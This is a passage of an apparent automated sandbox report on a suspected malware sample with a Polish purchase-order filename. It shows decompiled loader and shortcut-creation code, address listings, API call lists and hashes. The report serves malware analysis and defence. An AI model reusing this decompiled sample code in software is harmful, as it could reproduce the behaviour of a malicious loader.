								_t183 = _t317 + 0x408; // 0x408
								_t312 = _t183;
								_t217 = E100015A4( *(_t317 + 0x808), _t312);
								__eflags = _t217 - _t283;
								 *(_t317 + 0x80c) = _t217;
								if(_t217 == _t283) {
									__eflags =  *_t312 - 0x23;
									if( *_t312 == 0x23) {
										_t186 = _t317 + 0x409; // 0x409
										_t221 = E100012FE(_t186);
										__eflags = _t221 - _t283;
										if(_t221 != _t283) {
											__eflags = _t221 & 0xffff0000;
											if((_t221 & 0xffff0000) == 0) {
												 *(_t317 + 0x80c) = GetProcAddress( *(_t317 + 0x808), _t221 & 0x0000ffff);
											}
										}
									}
								}
								__eflags = _v48 - _t283;
								if(_v48 != _t283) {
									L157:
									_t312[lstrlenA(_t312)] = 0x41;
									_t219 = E100015A4( *(_t317 + 0x808), _t312);
									__eflags = _t219 - _t283;
									if(_t219 != _t283) {
										L145:
										 *(_t317 + 0x80c) = _t219;
										goto L161;
									}
									__eflags =  *(_t317 + 0x80c) - _t283;
									L159:
									if(__eflags != 0) {
										goto L161;
									}
									L160:
									_t196 = _t317 + 4;
									 *_t196 =  *(_t317 + 4) | 0xffffffff;
									__eflags =  *_t196;
									goto L161;
								} else {
									__eflags =  *(_t317 + 0x80c) - _t283;
									if( *(_t317 + 0x80c) != _t283) {
										goto L161;
									}
									goto L157;
								}
							}
							_t224 = LoadLibraryA(_t311);
							__eflags = _t224 - _t283;
							 *(_t317 + 0x808) = _t224;
							if(_t224 == _t283) {
								goto L160;
							}
							goto L150;
						}
						_t179 = _t317 + 0x408; // 0x408
						_t226 = E100012FE(_t179);
						 *(_t317 + 0x80c) = _t226;
						__eflags = _t226 - _t283;
						goto L159;
					}
					_t227 = _t215 - 1;
					if(_t227 == 0) {
						_t176 = _t317 + 0x408; // 0x408
						_t228 = _t176;
						__eflags =  *_t228;
						if( *_t228 == 0) {
							goto L161;
						}
						_t219 = E100012FE(_t228);
						L144:
						goto L145;
					}
					if(_t227 != 1) {
						goto L161;
					}
					_t80 = _t317 + 8; // 0x8
					_t284 = _t80;
					_t313 = E100012FE(_t80);
					 *(_t317 + 0x808) = _t313;
					if(_t313 == 0) {
						goto L160;
					}
					 *(_t317 + 0x84c) =  *(_t317 + 0x84c) & 0x00000000;
					 *((intOrPtr*)(_t317 + 0x850)) = E10001224(_t284);
					 *(_t317 + 0x83c) =  *(_t317 + 0x83c) & 0x00000000;
					 *((intOrPtr*)(_t317 + 0x848)) = 1;
					 *((intOrPtr*)(_t317 + 0x838)) = 1;
					_t89 = _t317 + 0x408; // 0x408
					_t219 =  *(_t313->i + E100012FE(_t89) * 4);
					goto L144;
				}
			}































































                                                                                              0x10001a65
                                                                                              0x10001a68
                                                                                              0x10001a6b
                                                                                              0x10001a6e
                                                                                              0x10001a71
                                                                                              0x10001a74
                                                                                              0x10001a77
                                                                                              0x10001a79
                                                                                              0x10001a7c
                                                                                              0x10001a81
                                                                                              0x10001a84
                                                                                              0x10001a8c
                                                                                              0x10001a94
                                                                                              0x10001a96
                                                                                              0x10001a99
                                                                                              0x10001aa1
                                                                                              0x10001aa1
                                                                                              0x10001aa6
                                                                                              0x10001aa9
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x10001ab3
                                                                                              0x10001ab5
                                                                                              0x10001aba
                                                                                              0x10001abc
                                                                                              0x10001b2e
                                                                                              0x10001b2e
                                                                                              0x10001b2e
                                                                                              0x10001b32
                                                                                              0x10001b35
                                                                                              0x10001b37
                                                                                              0x10001b59
                                                                                              0x10001b5c
                                                                                              0x10001b5e
                                                                                              0x10001b6d
                                                                                              0x10001b6f
                                                                                              0x10001b75
                                                                                              0x10001b75
                                                                                              0x10001b7b
                                                                                              0x10001b7e
                                                                                              0x10001b7e
                                                                                              0x10001b81
                                                                                              0x10001b81
                                                                                              0x10001b87
                                                                                              0x10001b89
                                                                                              0x10001b8c
                                                                                              0x10001b92
                                                                                              0x10001b95
                                                                                              0x10001b95
                                                                                              0x10001b97
                                                                                              0x10001b9d
                                                                                              0x10001ba0
                                                                                              0x10001bc4
                                                                                              0x10001bc7
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x10001bca
                                                                                              0x10001bcc
                                                                                              0x10001bda
                                                                                              0x10001bdd
                                                                                              0x10001bdf
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x10001be1
                                                                                              0x10001be1
                                                                                              0x10001be1
                                                                                              0x10001be7
                                                                                              0x10001be9
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x10001beb
                                                                                              0x10001bed
                                                                                              0x10001bef
                                                                                              0x10001bf1
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x10001bf1
                                                                                              0x10001bf3
                                                                                              0x10001bf5
                                                                                              0x10001bf7
                                                                                              0x10001bf7
                                                                                              0x10001bfd
                                                                                              0x10001c03
                                                                                              0x10001c05
                                                                                              0x10001c19
                                                                                              0x10001c19
                                                                                              0x10001c1b
                                                                                              0x10001c07
                                                                                              0x10001c0d
                                                                                              0x10001c10
                                                                                              0x10001c10
                                                                                              0x00000000
                                                                                              0x10001ba2
                                                                                              0x10001ba2
                                                                                              0x10001ba2
                                                                                              0x10001ba3
                                                                                              0x10001bab
                                                                                              0x10001baf
                                                                                              0x10001bb5
                                                                                              0x10001bb9
                                                                                              0x10001c21
                                                                                              0x10001c24
                                                                                              0x10001c27
                                                                                              0x10001cb1
                                                                                              0x10001cb5
                                                                                              0x10001a9e
                                                                                              0x00000000
                                                                                              0x10001a9e
                                                                                              0x00000000
                                                                                              0x10001cb5
                                                                                              0x10001ba5
                                                                                              0x10001ba5
                                                                                              0x10001ba6
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x10001ba8
                                                                                              0x10001ba9
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x10001ba9
                                                                                              0x10001ba0
                                                                                              0x10001b3a
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x10001b43
                                                                                              0x10001b46
                                                                                              0x10001b53
                                                                                              0x10001b53
                                                                                              0x10001b48
                                                                                              0x00000000
                                                                                              0x10001b48
                                                                                              0x10001abe
                                                                                              0x10001ac1
                                                                                              0x10001b12
                                                                                              0x10001b15
                                                                                              0x10001b26
                                                                                              0x10001b26
                                                                                              0x10001b29
                                                                                              0x00000000
                                                                                              0x10001b29
                                                                                              0x10001b17
                                                                                              0x10001b1b
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x10001b1d
                                                                                              0x10001b20
                                                                                              0x10001c2f
                                                                                              0x10001c32
                                                                                              0x10001c32
                                                                                              0x10001c34
                                                                                              0x10001f7a
                                                                                              0x10001f7d
                                                                                              0x10001fe0
                                                                                              0x10001ca2
                                                                                              0x10001ca5
                                                                                              0x10001ca8
                                                                                              0x10001cab
                                                                                              0x10001cab
                                                                                              0x10001cad
                                                                                              0x10001cad
                                                                                              0x10001cad
                                                                                              0x10001cae
                                                                                              0x00000000
                                                                                              0x10001cae
                                                                                              0x10001f7f
                                                                                              0x10001f82
                                                                                              0x10001f8e
                                                                                              0x10001f8e
                                                                                              0x10001f91
                                                                                              0x10001f94
                                                                                              0x10001f9f
                                                                                              0x10001f9f
                                                                                              0x10001fa2
                                                                                              0x10001fa5
                                                                                              0x10001fec
                                                                                              0x10001fef
                                                                                              0x10001ff2
                                                                                              0x00000000
                                                                                              0x10001ff2
                                                                                              0x10001fa7
                                                                                              0x10001faa
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x10001fac
                                                                                              0x10001fb3
                                                                                              0x10001fb3
                                                                                              0x10001fb9
                                                                                              0x10001fbc
                                                                                              0x10001fd8
                                                                                              0x10001fbe
                                                                                              0x10001fc7
                                                                                              0x10001fca
                                                                                              0x10001fca
                                                                                              0x00000000
                                                                                              0x10001fbc
                                                                                              0x10001f96
                                                                                              0x00000000
                                                                                              0x10001f96
                                                                                              0x10001f84
                                                                                              0x10001f87
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x10001f89
                                                                                              0x10001f8c
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x10001f8c
                                                                                              0x10001c3a
                                                                                              0x10001c3a
                                                                                              0x10001c3b
                                                                                              0x10001d6a
                                                                                              0x10001d6a
                                                                                              0x10001d6f
                                                                                              0x10001d72
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x10001d7f
                                                                                              0x00000000
                                                                                              0x10001f22
                                                                                              0x10001f25
                                                                                              0x10001f28
                                                                                              0x10001f28
                                                                                              0x10001f29
                                                                                              0x10001f2c
                                                                                              0x10001f2e
                                                                                              0x10001f30
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x10001f32
                                                                                              0x10001f32
                                                                                              0x10001f35
                                                                                              0x10001f47
                                                                                              0x10001f4a
                                                                                              0x10001f53
                                                                                              0x00000000
                                                                                              0x10001f53
                                                                                              0x10001f37
                                                                                              0x10001f37
                                                                                              0x10001f39
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x10001f3b
                                                                                              0x10001f3d
                                                                                              0x10001f3f
                                                                                              0x10001f3f
                                                                                              0x10001f3f
                                                                                              0x10001f40
                                                                                              0x10001f42
                                                                                              0x10001f44
                                                                                              0x10001f28
                                                                                              0x10001f29
                                                                                              0x10001f2c
                                                                                              0x10001f2e
                                                                                              0x10001f30
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x10001f30
                                                                                              0x00000000
                                                                                              0x10001dc6
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x10001dd2
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x10001db9
                                                                                              0x10001dbd
                                                                                              0x10001dc1
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x10001ef4
                                                                                              0x10001ef8
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x10001efe
                                                                                              0x10001f06
                                                                                              0x10001f0d
                                                                                              0x10001f15
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x10001e91
                                                                                              0x10001e91
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x10001ddb
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x10001f72
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x10001f62
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x10001f66
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x10001f6e
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x10001eb4
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x10001e99
                                                                                              0x10001e9b
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x10001ebc
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x10001ea1
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x10001ea5
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x10001f6a
                                                                                              0x10001f74
                                                                                              0x10001f74
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x10001ec4
                                                                                              0x10001ec8
                                                                                              0x10001ecd
                                                                                              0x10001ed0
                                                                                              0x10001ed1
                                                                                              0x10001ed4
                                                                                              0x10001eda
                                                                                              0x10001eda
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x10001f5a
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x10001ea9
                                                                                              0x10001eac
                                                                                              0x10001eae
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x10001de2
                                                                                              0x10001de2
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x10001eb8
                                                                                              0x10001ebe
                                                                                              0x10001ebe
                                                                                              0x10001de4
                                                                                              0x10001de4
                                                                                              0x10001de7
                                                                                              0x10001dee
                                                                                              0x10001df1
                                                                                              0x10001df3
                                                                                              0x10001df5
                                                                                              0x10001df6
                                                                                              0x10001dfa
                                                                                              0x10001dfd
                                                                                              0x10001e03
                                                                                              0x10001e09
                                                                                              0x10001e09
                                                                                              0x10001e0b
                                                                                              0x10001e0b
                                                                                              0x10001e0e
                                                                                              0x10001e14
                                                                                              0x10001e16
                                                                                              0x10001e1a
                                                                                              0x10001e1f
                                                                                              0x10001e1f
                                                                                              0x10001e21
                                                                                              0x10001e21
                                                                                              0x10001e24
                                                                                              0x10001e27
                                                                                              0x10001e30
                                                                                              0x10001e33
                                                                                              0x10001e36
                                                                                              0x10001e36
                                                                                              0x10001e38
                                                                                              0x10001e3b
                                                                                              0x10001e41
                                                                                              0x00000000
                                                                                              0x10001e41
                                                                                              0x10001e05
                                                                                              0x10001e07
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x10001d86
                                                                                              0x10001d8c
                                                                                              0x10001d8f
                                                                                              0x10001d91
                                                                                              0x10001d91
                                                                                              0x10001d94
                                                                                              0x10001d98
                                                                                              0x10001da5
                                                                                              0x10001da7
                                                                                              0x10001dad
                                                                                              0x10001dad
                                                                                              0x10001dad
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x10001ee2
                                                                                              0x10001ee6
                                                                                              0x10001eeb
                                                                                              0x10001eee
                                                                                              0x10001e47
                                                                                              0x10001e47
                                                                                              0x10001e49
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x10001e4f
                                                                                              0x10001e4f
                                                                                              0x10001e53
                                                                                              0x10001e5a
                                                                                              0x10001e7e
                                                                                              0x10001e7e
                                                                                              0x10001e82
                                                                                              0x10001e84
                                                                                              0x10001e87
                                                                                              0x10001e87
                                                                                              0x10001e8a
                                                                                              0x10001e8a
                                                                                              0x00000000
                                                                                              0x10001e82
                                                                                              0x10001e5f
                                                                                              0x10001e62
                                                                                              0x10001e62
                                                                                              0x10001e69
                                                                                              0x10001e6b
                                                                                              0x10001e6e
                                                                                              0x10001e75
                                                                                              0x10001e76
                                                                                              0x10001e7c
                                                                                              0x10001e7c
                                                                                              0x00000000
                                                                                              0x10001e7c
                                                                                              0x10001e70
                                                                                              0x10001e73
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x10001d7f
                                                                                              0x10001c41
                                                                                              0x10001c41
                                                                                              0x10001c42
                                                                                              0x10001d67
                                                                                              0x00000000
                                                                                              0x10001d67
                                                                                              0x10001c48
                                                                                              0x10001c49
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x10001c51
                                                                                              0x10001c51
                                                                                              0x10001c54
                                                                                              0x10001c9f
                                                                                              0x00000000
                                                                                              0x10001c9f
                                                                                              0x10001c56
                                                                                              0x10001c56
                                                                                              0x10001c59
                                                                                              0x10001c83
                                                                                              0x10001c86
                                                                                              0x10001c89
                                                                                              0x10001d59
                                                                                              0x10001d59
                                                                                              0x10001d59
                                                                                              0x10001c8f
                                                                                              0x10001c8f
                                                                                              0x10001c8f
                                                                                              0x10001d5f
                                                                                              0x00000000
                                                                                              0x10001d5f
                                                                                              0x10001c5c
                                                                                              0x10001c5c
                                                                                              0x10001c5d
                                                                                              0x10001c80
                                                                                              0x10001c82
                                                                                              0x10001c82
                                                                                              0x00000000
                                                                                              0x10001c82
                                                                                              0x10001c5f
                                                                                              0x10001c5f
                                                                                              0x10001c62
                                                                                              0x10001c7c
                                                                                              0x00000000
                                                                                              0x10001c7c
                                                                                              0x10001c64
                                                                                              0x10001c64
                                                                                              0x10001c67
                                                                                              0x10001c78
                                                                                              0x00000000
                                                                                              0x10001c78
                                                                                              0x10001c69
                                                                                              0x10001c69
                                                                                              0x10001c6a
                                                                                              0x10001c74
                                                                                              0x00000000
                                                                                              0x10001c74
                                                                                              0x10001c6d
                                                                                              0x10001c6e
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x10001c70
                                                                                              0x00000000
                                                                                              0x10001c70
                                                                                              0x00000000
                                                                                              0x10001b20
                                                                                              0x10001ac3
                                                                                              0x10001ac6
                                                                                              0x10001af5
                                                                                              0x10001af9
                                                                                              0x10001b00
                                                                                              0x10001b07
                                                                                              0x10001b0a
                                                                                              0x10001b0d
                                                                                              0x00000000
                                                                                              0x10001b0d
                                                                                              0x10001ac8
                                                                                              0x10001ac9
                                                                                              0x10001ae4
                                                                                              0x10001aeb
                                                                                              0x10001aee
                                                                                              0x00000000
                                                                                              0x10001aee
                                                                                              0x10001ace
                                                                                              0x00000000
                                                                                              0x10001ad4
                                                                                              0x10001ad4
                                                                                              0x10001adb
                                                                                              0x00000000
                                                                                              0x10001adb
                                                                                              0x10001ace
                                                                                              0x10001cc4
                                                                                              0x10001cc9
                                                                                              0x10001cce
                                                                                              0x10001cd2
                                                                                              0x100020ef
                                                                                              0x100020f5
                                                                                              0x10001ce4
                                                                                              0x10001ce6
                                                                                              0x10001ce7
                                                                                              0x1000201a
                                                                                              0x1000201a
                                                                                              0x1000201d
                                                                                              0x10002020
                                                                                              0x1000203d
                                                                                              0x10002043
                                                                                              0x10002045
                                                                                              0x1000204b
                                                                                              0x10002062
                                                                                              0x10002062
                                                                                              0x10002062
                                                                                              0x1000206f
                                                                                              0x10002075
                                                                                              0x10002078
                                                                                              0x1000207e
                                                                                              0x10002080
                                                                                              0x10002083
                                                                                              0x10002085
                                                                                              0x1000208c
                                                                                              0x10002091
                                                                                              0x10002094
                                                                                              0x10002096
                                                                                              0x1000209b
                                                                                              0x100020ad
                                                                                              0x100020ad
                                                                                              0x1000209b
                                                                                              0x10002094
                                                                                              0x10002083
                                                                                              0x100020b3
                                                                                              0x100020b6
                                                                                              0x100020c0
                                                                                              0x100020c8
                                                                                              0x100020d4
                                                                                              0x100020da
                                                                                              0x100020dd
                                                                                              0x1000200f
                                                                                              0x1000200f
                                                                                              0x00000000
                                                                                              0x1000200f
                                                                                              0x100020e3
                                                                                              0x100020e9
                                                                                              0x100020e9
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x100020eb
                                                                                              0x100020eb
                                                                                              0x100020eb
                                                                                              0x100020eb
                                                                                              0x00000000
                                                                                              0x100020b8
                                                                                              0x100020b8
                                                                                              0x100020be
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x100020be
                                                                                              0x100020b6
                                                                                              0x1000204e
                                                                                              0x10002054
                                                                                              0x10002056
                                                                                              0x1000205c
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x1000205c
                                                                                              0x10002022
                                                                                              0x10002029
                                                                                              0x1000202f
                                                                                              0x10002035
                                                                                              0x00000000
                                                                                              0x10002035
                                                                                              0x10001ced
                                                                                              0x10001cee
                                                                                              0x10001ff9
                                                                                              0x10001ff9
                                                                                              0x10001fff
                                                                                              0x10002002
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x10002009
                                                                                              0x1000200e
                                                                                              0x00000000
                                                                                              0x1000200e
                                                                                              0x10001cf5
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x10001cfb
                                                                                              0x10001cfb
                                                                                              0x10001d04
                                                                                              0x10001d09
                                                                                              0x10001d0f
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x10001d15
                                                                                              0x10001d22
                                                                                              0x10001d28
                                                                                              0x10001d32
                                                                                              0x10001d38
                                                                                              0x10001d40
                                                                                              0x10001d50
                                                                                              0x00000000
                                                                                              0x10001d50

                                                                                              APIs
                                                                                                • Part of subcall function 10001215: GlobalAlloc.KERNELBASE(00000040,10001233,?,100012CF,-1000404B,100011AB,-000000A0), ref: 1000121D
                                                                                              • GlobalAlloc.KERNEL32(00000040,000014A4), ref: 10001B67
                                                                                              • lstrcpyA.KERNEL32(00000008,?), ref: 10001BAF
                                                                                              • lstrcpyA.KERNEL32(00000408,?), ref: 10001BB9
                                                                                              • GlobalFree.KERNEL32(00000000), ref: 10001BCC
                                                                                              • GlobalFree.KERNEL32(?), ref: 10001CC4
                                                                                              • GlobalFree.KERNEL32(?), ref: 10001CC9
                                                                                              • GlobalFree.KERNEL32(?), ref: 10001CCE
                                                                                              • GlobalFree.KERNEL32(00000000), ref: 10001E76
                                                                                              • lstrcpyA.KERNEL32(?,?), ref: 10001FCA
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14152699490.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14152673493.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14152730936.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14152760294.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_10000000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: Global$Free$lstrcpy$Alloc
                                                                                              • String ID:
                                                                                              • API String ID: 4227406936-0
                                                                                              • Opcode ID: 108015169a1f9511be137f3b76d088d284be53ebd3be1ec406ce9b744c5ee79e
                                                                                              • Instruction ID: 780798ea066e4ece118e8e5fed0bf18c828ec290136deaf2e43fc5d0554b8685
                                                                                              • Opcode Fuzzy Hash: 108015169a1f9511be137f3b76d088d284be53ebd3be1ec406ce9b744c5ee79e
                                                                                              • Instruction Fuzzy Hash: 17129971D0424ADFFB20CFA4C8847EEBBF4FB043C4F61852AD5A1A2199DB749A81CB51
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 0040205E Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 139comCOMMON
                                                                                              Download Yara Rule
                                                                                              C-Code - Quality: 74%
                                                                                              			E0040205E() {
				signed int _t55;
				void* _t59;
				intOrPtr* _t63;
				intOrPtr _t64;
				intOrPtr* _t65;
				intOrPtr* _t67;
				intOrPtr* _t69;
				intOrPtr* _t71;
				intOrPtr* _t73;
				intOrPtr* _t75;
				intOrPtr* _t78;
				intOrPtr* _t80;
				intOrPtr* _t82;
				intOrPtr* _t84;
				int _t87;
				intOrPtr* _t95;
				signed int _t105;
				signed int _t109;
				void* _t111;

				 *(_t111 - 0x34) = E00402A3A(0xfffffff0);
				 *(_t111 - 0xc) = E00402A3A(0xffffffdf);
				 *((intOrPtr*)(_t111 - 0x4c)) = E00402A3A(2);
				 *((intOrPtr*)(_t111 - 0x40)) = E00402A3A(0xffffffcd);
				 *((intOrPtr*)(_t111 - 0x38)) = E00402A3A(0x45);
				_t55 =  *(_t111 - 0x18);
				 *(_t111 - 0x44) = _t55 & 0x00000fff;
				_t105 = _t55 & 0x00008000;
				_t109 = _t55 >> 0x0000000c & 0x00000007;
				 *(_t111 - 0x3c) = _t55 >> 0x00000010 & 0x0000ffff;
				if(E004057D8( *(_t111 - 0xc)) == 0) {
					E00402A3A(0x21);
				}
				_t59 = _t111 + 8;
				__imp__CoCreateInstance(0x407408, _t87, "true", 0x4073f8, _t59);
				if(_t59 < _t87) {
					L15:
					 *((intOrPtr*)(_t111 - 4)) = 1;
					_push(0xfffffff0);
				} else {
					_t63 =  *((intOrPtr*)(_t111 + 8));
					_t64 =  *((intOrPtr*)( *_t63))(_t63, 0x407418, _t111 - 0x30);
					 *((intOrPtr*)(_t111 - 8)) = _t64;
					if(_t64 >= _t87) {
						_t67 =  *((intOrPtr*)(_t111 + 8));
						 *((intOrPtr*)(_t111 - 8)) =  *((intOrPtr*)( *_t67 + 0x50))(_t67,  *(_t111 - 0xc));
						if(_t105 == _t87) {
							_t84 =  *((intOrPtr*)(_t111 + 8));
							 *((intOrPtr*)( *_t84 + 0x24))(_t84, "C:\\Users\\Arthur\\Pacifisterne\\Automatcafeer\\Syntaksgenkendelsernes\\Temposkifterne");
						}
						if(_t109 != _t87) {
							_t82 =  *((intOrPtr*)(_t111 + 8));
							 *((intOrPtr*)( *_t82 + 0x3c))(_t82, _t109);
						}
						_t69 =  *((intOrPtr*)(_t111 + 8));
						 *((intOrPtr*)( *_t69 + 0x34))(_t69,  *(_t111 - 0x3c));
						_t95 =  *((intOrPtr*)(_t111 - 0x40));
						if( *_t95 != _t87) {
							_t80 =  *((intOrPtr*)(_t111 + 8));
							 *((intOrPtr*)( *_t80 + 0x44))(_t80, _t95,  *(_t111 - 0x44));
						}
						_t71 =  *((intOrPtr*)(_t111 + 8));
						 *((intOrPtr*)( *_t71 + 0x2c))(_t71,  *((intOrPtr*)(_t111 - 0x4c)));
						_t73 =  *((intOrPtr*)(_t111 + 8));
						 *((intOrPtr*)( *_t73 + 0x1c))(_t73,  *((intOrPtr*)(_t111 - 0x38)));
						if( *((intOrPtr*)(_t111 - 8)) >= _t87) {
							 *((intOrPtr*)(_t111 - 8)) = 0x80004005;
							if(MultiByteToWideChar(_t87, _t87,  *(_t111 - 0x34), 0xffffffff,  *(_t111 - 0xc), 0x400) != 0) {
								_t78 =  *((intOrPtr*)(_t111 - 0x30));
								 *((intOrPtr*)(_t111 - 8)) =  *((intOrPtr*)( *_t78 + 0x18))(_t78,  *(_t111 - 0xc), "true");
							}
						}
						_t75 =  *((intOrPtr*)(_t111 - 0x30));
						 *((intOrPtr*)( *_t75 + 8))(_t75);
					}
					_t65 =  *((intOrPtr*)(_t111 + 8));
					 *((intOrPtr*)( *_t65 + 8))(_t65);
					if( *((intOrPtr*)(_t111 - 8)) >= _t87) {
						_push(0xfffffff4);
					} else {
						goto L15;
					}
				}
				E00401423();
				 *0x423788 =  *0x423788 +  *((intOrPtr*)(_t111 - 4));
				return 0;
			}






















                                                                                              0x00402067
                                                                                              0x00402071
                                                                                              0x0040207b
                                                                                              0x00402085
                                                                                              0x00402090
                                                                                              0x00402093
                                                                                              0x004020ad
                                                                                              0x004020b0
                                                                                              0x004020b6
                                                                                              0x004020b9
                                                                                              0x004020c3
                                                                                              0x004020c7
                                                                                              0x004020c7
                                                                                              0x004020cc
                                                                                              0x004020dd
                                                                                              0x004020e5
                                                                                              0x004021bb
                                                                                              0x004021bb
                                                                                              0x004021c2
                                                                                              0x004020eb
                                                                                              0x004020eb
                                                                                              0x004020fa
                                                                                              0x004020fe
                                                                                              0x00402101
                                                                                              0x00402107
                                                                                              0x00402115
                                                                                              0x00402118
                                                                                              0x0040211a
                                                                                              0x00402125
                                                                                              0x00402125
                                                                                              0x0040212a
                                                                                              0x0040212c
                                                                                              0x00402133
                                                                                              0x00402133
                                                                                              0x00402136
                                                                                              0x0040213f
                                                                                              0x00402142
                                                                                              0x00402147
                                                                                              0x00402149
                                                                                              0x00402153
                                                                                              0x00402153
                                                                                              0x00402156
                                                                                              0x0040215f
                                                                                              0x00402162
                                                                                              0x0040216b
                                                                                              0x00402171
                                                                                              0x00402178
                                                                                              0x00402191
                                                                                              0x00402193
                                                                                              0x004021a1
                                                                                              0x004021a1
                                                                                              0x00402191
                                                                                              0x004021a4
                                                                                              0x004021aa
                                                                                              0x004021aa
                                                                                              0x004021ad
                                                                                              0x004021b3
                                                                                              0x004021b9
                                                                                              0x004021ce
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004021b9
                                                                                              0x004021c4
                                                                                              0x004028d2
                                                                                              0x004028de

                                                                                              APIs
                                                                                              • CoCreateInstance.OLE32(00407408,?,?,004073F8,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 004020DD
                                                                                              • MultiByteToWideChar.KERNEL32(?,?,?,000000FF,?,00000400,?,?,004073F8,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402189
                                                                                              Strings
                                                                                              • C:\Users\user\Pacifisterne\Automatcafeer\Syntaksgenkendelsernes\Temposkifterne, xrefs: 0040211D
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: ByteCharCreateInstanceMultiWide
                                                                                              • String ID: C:\Users\user\Pacifisterne\Automatcafeer\Syntaksgenkendelsernes\Temposkifterne
                                                                                              • API String ID: 123533781-1926716783
                                                                                              • Opcode ID: 98c6856de954bf32f67bc9aae575288044ef0a57168b27d926b9bae310f30c25
                                                                                              • Instruction ID: 15b8319daa3a69dadbe16bc3493db081a7dc62ee607a685d27ecc12527328b4b
